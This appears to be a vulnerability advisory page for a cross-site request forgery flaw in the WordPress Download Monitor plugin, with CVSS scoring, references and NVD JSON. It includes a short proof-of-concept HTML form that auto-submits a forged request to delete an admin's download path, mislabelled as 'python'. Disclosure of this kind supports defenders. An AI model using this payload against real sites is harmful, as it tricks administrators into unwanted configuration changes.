CVE-2026-4401

Description

The Download Monitor plugin for WordPress is vulnerable to Cross-Site Request Forgery in the `actions_handler()` and `bulk_actions_handler()` methods in `class-dlm-downloads-path.php` in all versions up to, and including, 5.1.10. This is due to missing nonce verification on these functions. This makes it possible for unauthenticated attackers to delete, disable, or enable approved download paths via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WordPress Download Monitor <= 5.1.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-4401 CSRF Vulnerability -->
<!-- This PoC demonstrates how an attacker could trick an admin into deleting a download path -->
<html>
  <body>
    <form action="http://target-site/wp-admin/admin.php" method="POST">
      <input type="hidden" name="page" value="download-monitor-paths" />
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="id" value="1" />
      <input type="submit" value="Click me for a prize" />
    </form>
    <script>
      // Auto-submit the form to simulate the attack without user interaction awareness
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4401
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4401
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4401/
[4] VulDB https://vuldb.com/cve/CVE-2026-4401
[5] https://plugins.trac.wordpress.org/browser/download-monitor/tags/5.1.8/src/Admin/DownloadPaths/class-dlm-downloads-path.php#L427
[6] https://plugins.trac.wordpress.org/browser/download-monitor/tags/5.1.8/src/Admin/DownloadPaths/class-dlm-downloads-path.php#L495
[7] https://plugins.trac.wordpress.org/browser/download-monitor/trunk/src/Admin/DownloadPaths/class-dlm-downloads-path.php#L427
[8] https://plugins.trac.wordpress.org/browser/download-monitor/trunk/src/Admin/DownloadPaths/class-dlm-downloads-path.php#L495
[9] https://plugins.trac.wordpress.org/changeset?old_path=/download-monitor/tags/5.1.10&new_path=/download-monitor/tags/5.1.11#file11
[10] https://www.wordfence.com/threat-intel/vulnerabilities/id/33d70481-4652-44f4-99cf-67cc1ffab66a?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4401", "sourceIdentifier": "[email protected]", "published": "2026-04-08T00:16:05.323", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Download Monitor plugin for WordPress is vulnerable to Cross-Site Request Forgery in the `actions_handler()` and `bulk_actions_handler()` methods in `class-dlm-downloads-path.php` in all versions up to, and including, 5.1.10. This is due to missing nonce verification on these functions. This makes it possible for unauthenticated attackers to delete, disable, or enable approved download paths via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/download-monitor/tags/5.1.8/src/Admin/DownloadPaths/class-dlm-downloads-path.php#L427", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/download-monitor/tags/5.1.8/src/Admin/DownloadPaths/class-dlm-downloads-path.php#L495", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/download-monitor/trunk/src/Admin/DownloadPaths/class-dlm-downloads-path.php#L427", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/download-monitor/trunk/src/Admin/DownloadPaths/class-dlm-downloads-path.php#L495", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=/download-monitor/tags/5.1.10&new_path=/download-monitor/tags/5.1.11#file11", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/33d70481-4652-44f4-99cf-67cc1ffab66a?source=cve", "source": "[email protected]"}]}}